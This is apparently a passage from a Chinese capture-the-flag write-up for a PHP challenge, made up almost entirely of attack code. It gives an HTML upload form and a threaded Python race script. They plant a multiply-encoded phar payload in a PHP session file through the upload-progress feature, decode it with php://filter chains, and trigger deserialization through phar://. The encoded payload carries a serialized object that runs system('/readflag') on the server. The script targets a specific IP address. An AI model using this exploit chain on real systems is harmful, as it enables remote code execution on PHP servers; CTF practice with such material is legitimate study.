=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=74=00=41=00=41=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=33=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=42=00=5A=00=47=00=31=00=70=00=62=00=69=00=49=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=52=00=6C=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=49=00=77=00=4F=00=69=00=4A=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=6F=00=4A=00=79=00=39=00=79=00=5A=00=57=00=46=00=6B=00=5A=00=6D=00=78=00=68=00=5A=00=79=00=63=00=70=00=4F=00=79=00=49=00=37=00=66=00=51=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=42=00=62=00=30=00=46=00=5A=00=6E=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=32=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=53=00=4A=00=63=00=45=00=71=00=53=00=37=00=71=00=42=00=4D=00=4E=00=6B=00=55=00=79=00=61=00=65=00=70=00=79=00=55=00=38=00=46=00=77=00=39=00=66=00=47=00=65=00=72=00=77=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00AAAAAAAAAAAA

借用session文件上传表单

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<!DOCTYPE html>
<html>
<body>
<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="VUZSVmQxQlVRWGRRVkZFd1VGUkJkMUJVVFRWUVZFRjNVRlJqTTFCVVFYZFFWRmw0VUZSQmQxQlVVVFJRVkVGM1VGUlJlRkJVUVhkUVZGa3pVRlJCZDFCVVZUUlFWRUYzVUZSTmVGQlVRWGRRVkUwMVVGUkJkMUJVVVRWUVZFRjNVRlJWZUZCVVFYZFFWRlV4VUZSQmQxQlVZelJRVkVGM1VGUlZNVkJVUVhkUVZGVTBVRlJCZDFCVVRYZFFWRUYzVUZSU1JsQlVRWGRRVkZWM1VGUkJkMUJVVlRCUVZFRjNVRlJWTWxCVVFYZFFWRkY1VUZSQmQxQlVVa0pRVkVGM1VGUlZNRkJVUVhkUVZGRXhVRlJCZDFCVVZUSlFWRUYzVUZSVmVsQlVRWGRRVkZKRFVGUkJkMUJVVVhwUVZFRjNVRlJhUTFCVVFYZFFWRTB6VUZSQmQxQlVVVFZRVkVGM1VGUlJNRkJVUVhkUVZFMDBVRlJCZDFCVVNrTlFWRUYzVUZSUk1GQlVRWGRRVkZWNFVGUkJkMUJVWTNkUVZFRjNVRlJqTUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSVmVGQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY1VUZSQmQxQlVVVEZRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNVVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSTmVsQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVWVEJRVkVGM1VGUmtRbEJVUVhkUVZGcEhVRlJCZDFCVVRYaFFWRUYzVUZSU1IxQlVRWGRRVkZrMVVGUkJkMUJVVWtKUVZFRjNVRlJSZVZCVVFYZFFWRlpDVUZSQmQxQlVVVE5RVkVGM1VGUk5lRkJVUVhkUVZHTjNVRlJCZDFCVVdYbFFWRUYzVUZSWk5WQlVRWGRRVkZFMVVGUkJkMUJVVFRKUVZFRjNVRlJTUlZCVVFYZFFWRlV3VUZSQmQxQlVZM2RRVkVGM1VGUk5NMUJVUVhkUVZGbDZVRlJCZDFCVVpFSlFWRUYzVUZSYVIxQlVRWGRRVkUxM1VGUkJkMUJVVWtkUVZFRjNVRlJaTlZCVVFYZFFWRkpDVUZSQmQxQlVXa0pRVkVGM1VGUlplVkJVUVhkUVZFMTVVRlJCZDFCVVZYbFFWRUYzVUZSYVJGQlVRWGRRVkZFMVVGUkJkMUJVV2tKUVZFRjNVRlJqTUZCVVFYZFFWR1JDVUZSQmQxQlVVa2RRVkVGM1VGUmFRbEJVUVhkUVZGRTFVRlJCZDFCVVl6TlFWRUYzVUZSU1IxQlVRWGRRVkZrMVVGUkJkMUJVVWtKUVZFRjNVRlJrUWxCVVFYZFFWRmt4VUZSQmQxQlVWVFJRVkVGM1VGUlNSbEJVUVhkUVZFMTNVRlJCZDFCVVZrSlFWRUYzVUZSVk0xQlVRWGRRVkUxM1VGUkJkMUJVV2tkUVZFRjNVRlJTUWxCVVFYZFFWR00xVUZSQmQxQlVUVFZRVkVGM1VGUmpOVkJVUVhkUVZGWkNVRlJCZDFCVVZUTlFWRUYzVUZSUk1sQlVRWGRRVkZwRFVGUkJkMUJVVmtKUVZFRjNVRlJhUlZCVVFYZFFWR00wVUZSQmQxQlVXVFJRVkVGM1VGUldRbEJVUVhkUVZHTTFVRlJCZDFCVVdYcFFWRUYzVUZSamQxQlVRWGRRVkZKSFVGUkJkMUJVWXpWUVZFRjNVRlJSTlZCVVFYZFFWRTB6VUZSQmQxQlVXVEpRVkVGM1VGUlZlRkJVUVhkUVZGa3pVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNFVGUkJkMUJVVVhsUVZFRjNVRlJOZDFCVVFYZFFWRlpDVUZSQmQxQlVWVFJRVkVGM1VGUlNSbEJVUVhkUVZFMTNVRlJCZDFCVVVrUlFWRUYzVUZSYVJsQlVRWGRRVkZWNVVGUkJkMUJVVFRCUVZFRjNVRlJaTUZCVVFYZFFWRkY0VUZSQmQxQlVWWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUk1GQlVRWGRRVkZrd1VGUkJkMUJVVlRSUVZFRjNVRlJSZVZCVVFYZFFWR013VUZSQmQxQlVXa1pRVkVGM1VGUlJlVkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJqTkZCVVFYZFFWRXBEVUZSQmQxQlVXVEpRVkVGM1VGUk5OVkJVUVhkUVZGazFVRlJCZDFCVVRYbFFWRUYzVUZSUmVGQlVRWGRRVkZWNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUk5GQlVRWGRRVkZWNVVGUkJkMUJVV2tSUVZFRjNVRlJaZWxCVVFYZFFWRTE2VUZSQmQxQlVWWGxRVkVGM1VGUlNRbEJVUVhkUVZGVjVVRlJCZDFCVVVrZFFWRUYzVUZSTmQxQlVRWGRRVkdNeVVGUkJkMUJVVlRWUVZFRjNVRlJqTVZCVVFYZFFWRkpEVUZSQmQxQlVUVEZRVkVGM1VGUk5NVkJVUVhkUVZGSkNVRlJCZDFCVVRYcFFWRUYzVUZSV1FsQlVRWGRRVkdONVVGUkJkMUJVU2tOUVZFRjNVRlJSTkZCVVFYZFFWR04zVUZSQmQxQlVUVEJRVkVGM1VGUk5NMUJVUVhkUVZGRXlVRlJCZDFCVVVrTlFWRUYzVUZSWk5GQlVRWGRRVkZwSFVGUkJkMUJVVlRCUVZFRjNVRlJaTWxCVVFYZFFWRkV6VUZSQmQxQlVZek5RVkVGM1VGUlJOVkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNVVGUkJkMUJVVVRSUVZFRjNVRlJWZUZCVVFYZFFWRnBEVUZSQmQxQlVUWGhRVkVGM1VGUlJlbEJVUVhkUlZVWkNVVlZHUWxGVlJrSlJWVVpD" />
    <input type="file" name="files" />
    <input type="submit" value="submit" />
</form>
</body>
</html>
1
?filename=php://filter/read=php://filter/read=convert.base64 decode|convert.base64-decode|convert.base64-decode|convert.quoted-printable decode|convert.iconv.utf-16le.utf-8|convert.base64 decode/resource=/tmp/sess_litsasuk

读文件触发phar反序列化

1
?filename=phar:///tmp/tmp.tmp/test.txt

一把嗦脚本

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import sys
from threading import Thread, Event
import requests

HOST = 'http://125.70.243.22:31241/'
sess_name = 'litsasuk'

headers = {
    'Connection': 'close',
    'Cookie': 'PHPSESSID=' + sess_name
}
stop_event = Event()
payload = 'VUZSVmQxQlVRWGRRVkZFd1VGUkJkMUJVVFRWUVZFRjNVRlJqTTFCVVFYZFFWRmw0VUZSQmQxQlVVVFJRVkVGM1VGUlJlRkJVUVhkUVZGa3pVRlJCZDFCVVZUUlFWRUYzVUZSTmVGQlVRWGRRVkUwMVVGUkJkMUJVVVRWUVZFRjNVRlJWZUZCVVFYZFFWRlV4VUZSQmQxQlVZelJRVkVGM1VGUlZNVkJVUVhkUVZGVTBVRlJCZDFCVVRYZFFWRUYzVUZSU1JsQlVRWGRRVkZWM1VGUkJkMUJVVlRCUVZFRjNVRlJWTWxCVVFYZFFWRkY1VUZSQmQxQlVVa0pRVkVGM1VGUlZNRkJVUVhkUVZGRXhVRlJCZDFCVVZUSlFWRUYzVUZSVmVsQlVRWGRRVkZKRFVGUkJkMUJVVVhwUVZFRjNVRlJhUTFCVVFYZFFWRTB6VUZSQmQxQlVVVFZRVkVGM1VGUlJNRkJVUVhkUVZFMDBVRlJCZDFCVVNrTlFWRUYzVUZSUk1GQlVRWGRRVkZWNFVGUkJkMUJVWTNkUVZFRjNVRlJqTUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSVmVGQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY1VUZSQmQxQlVVVEZRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNVVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSTmVsQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVWVEJRVkVGM1VGUmtRbEJVUVhkUVZGcEhVRlJCZDFCVVRYaFFWRUYzVUZSU1IxQlVRWGRRVkZrMVVGUkJkMUJVVWtKUVZFRjNVRlJSZVZCVVFYZFFWRlpDVUZSQmQxQlVVVE5RVkVGM1VGUk5lRkJVUVhkUVZHTjNVRlJCZDFCVVdYbFFWRUYzVUZSWk5WQlVRWGRRVkZFMVVGUkJkMUJVVFRKUVZFRjNVRlJTUlZCVVFYZFFWRlV3VUZSQmQxQlVZM2RRVkVGM1VGUk5NMUJVUVhkUVZGbDZVRlJCZDFCVVpFSlFWRUYzVUZSYVIxQlVRWGRRVkUxM1VGUkJkMUJVVWtkUVZFRjNVRlJaTlZCVVFYZFFWRkpDVUZSQmQxQlVXa0pRVkVGM1VGUlplVkJVUVhkUVZFMTVVRlJCZDFCVVZYbFFWRUYzVUZSYVJGQlVRWGRRVkZFMVVGUkJkMUJVV2tKUVZFRjNVRlJqTUZCVVFYZFFWR1JDVUZSQmQxQlVVa2RRVkVGM1VGUmFRbEJVUVhkUVZGRTFVRlJCZDFCVVl6TlFWRUYzVUZSU1IxQlVRWGRRVkZrMVVGUkJkMUJVVWtKUVZFRjNVRlJrUWxCVVFYZFFWRmt4VUZSQmQxQlVWVFJRVkVGM1VGUlNSbEJVUVhkUVZFMTNVRlJCZDFCVVZrSlFWRUYzVUZSVk0xQlVRWGRRVkUxM1VGUkJkMUJVV2tkUVZFRjNVRlJTUWxCVVFYZFFWR00xVUZSQmQxQlVUVFZRVkVGM1VGUmpOVkJVUVhkUVZGWkNVRlJCZDFCVVZUTlFWRUYzVUZSUk1sQlVRWGRRVkZwRFVGUkJkMUJVVmtKUVZFRjNVRlJhUlZCVVFYZFFWR00wVUZSQmQxQlVXVFJRVkVGM1VGUldRbEJVUVhkUVZHTTFVRlJCZDFCVVdYcFFWRUYzVUZSamQxQlVRWGRRVkZKSFVGUkJkMUJVWXpWUVZFRjNVRlJSTlZCVVFYZFFWRTB6VUZSQmQxQlVXVEpRVkVGM1VGUlZlRkJVUVhkUVZGa3pVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNFVGUkJkMUJVVVhsUVZFRjNVRlJOZDFCVVFYZFFWRlpDVUZSQmQxQlVWVFJRVkVGM1VGUlNSbEJVUVhkUVZFMTNVRlJCZDFCVVVrUlFWRUYzVUZSYVJsQlVRWGRRVkZWNVVGUkJkMUJVVFRCUVZFRjNVRlJaTUZCVVFYZFFWRkY0VUZSQmQxQlVWWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUk1GQlVRWGRRVkZrd1VGUkJkMUJVVlRSUVZFRjNVRlJSZVZCVVFYZFFWR013VUZSQmQxQlVXa1pRVkVGM1VGUlJlVkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNFVGUkJkMUJVVVhoUVZFRjNVRlJqTkZCVVFYZFFWRXBEVUZSQmQxQlVXVEpRVkVGM1VGUk5OVkJVUVhkUVZGazFVRlJCZDFCVVRYbFFWRUYzVUZSUmVGQlVRWGRRVkZWNFVGUkJkMUJVVVhoUVZFRjNVRlJSZUZCVVFYZFFWRkY0VUZSQmQxQlVVWGhRVkVGM1VGUlJlRkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUk5GQlVRWGRRVkZWNVVGUkJkMUJVV2tSUVZFRjNVRlJaZWxCVVFYZFFWRTE2VUZSQmQxQlVWWGxRVkVGM1VGUlNRbEJVUVhkUVZGVjVVRlJCZDFCVVVrZFFWRUYzVUZSTmQxQlVRWGRRVkdNeVVGUkJkMUJVVlRWUVZFRjNVRlJqTVZCVVFYZFFWRkpEVUZSQmQxQlVUVEZRVkVGM1VGUk5NVkJVUVhkUVZGSkNVRlJCZDFCVVRYcFFWRUYzVUZSV1FsQlVRWGRRVkdONVVGUkJkMUJVU2tOUVZFRjNVRlJSTkZCVVFYZFFWR04zVUZSQmQxQlVUVEJRVkVGM1VGUk5NMUJVUVhkUVZGRXlVRlJCZDFCVVVrTlFWRUYzVUZSWk5GQlVRWGRRVkZwSFVGUkJkMUJVVlRCUVZFRjNVRlJaTWxCVVFYZFFWRkV6VUZSQmQxQlVZek5RVkVGM1VGUlJOVkJVUVhkUVZGRjRVRlJCZDFCVVVYaFFWRUYzVUZSUmVGQlVRWGRRVkZGNVVGUkJkMUJVVVRSUVZFRjNVRlJWZUZCVVFYZFFWRnBEVUZSQmQxQlVUWGhRVkVGM1VGUlJlbEJVUVhkUlZVWkNVVlZHUWxGVlJrSlJWVVpD'
response = requests.get(HOST, headers=headers)
cookies = response.cookies

def runner1():
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload
    }
    print("Exploding...")
    while 1:
        fp = open('1.py', 'rb')
        r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
        fp.close()


def runner2():
    file = '/tmp/sess_' + sess_name
    filename = 'php://filter/read=convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=%s' % file
    # print filename
    while 1:
        url = '%s?filename=%s' % (HOST, filename)
        r = requests.get(url, cookies=cookies)
        c = r.content


def runner3():
    filename = 'phar:///tmp/tmp.tmp/test.txt'
    while True:
        url = f'{HOST}?filename={filename}'
        r = requests.get(url, cookies=cookies)
        content = r.text

        if "D0g3" in content:
            start_index = content.index("D0g3")
            output = content[start_index:]
            print(output)
            sys.exit(0)

threads = []
t1 = Thread(target=runner1)
t2 = Thread(target=runner2)
t3 = Thread(target=runner3)

threads.append(t1)
threads.append(t2)
threads.append(t3)

t1.start()
t2.start()
t3.start()

for t in threads:
    t.join()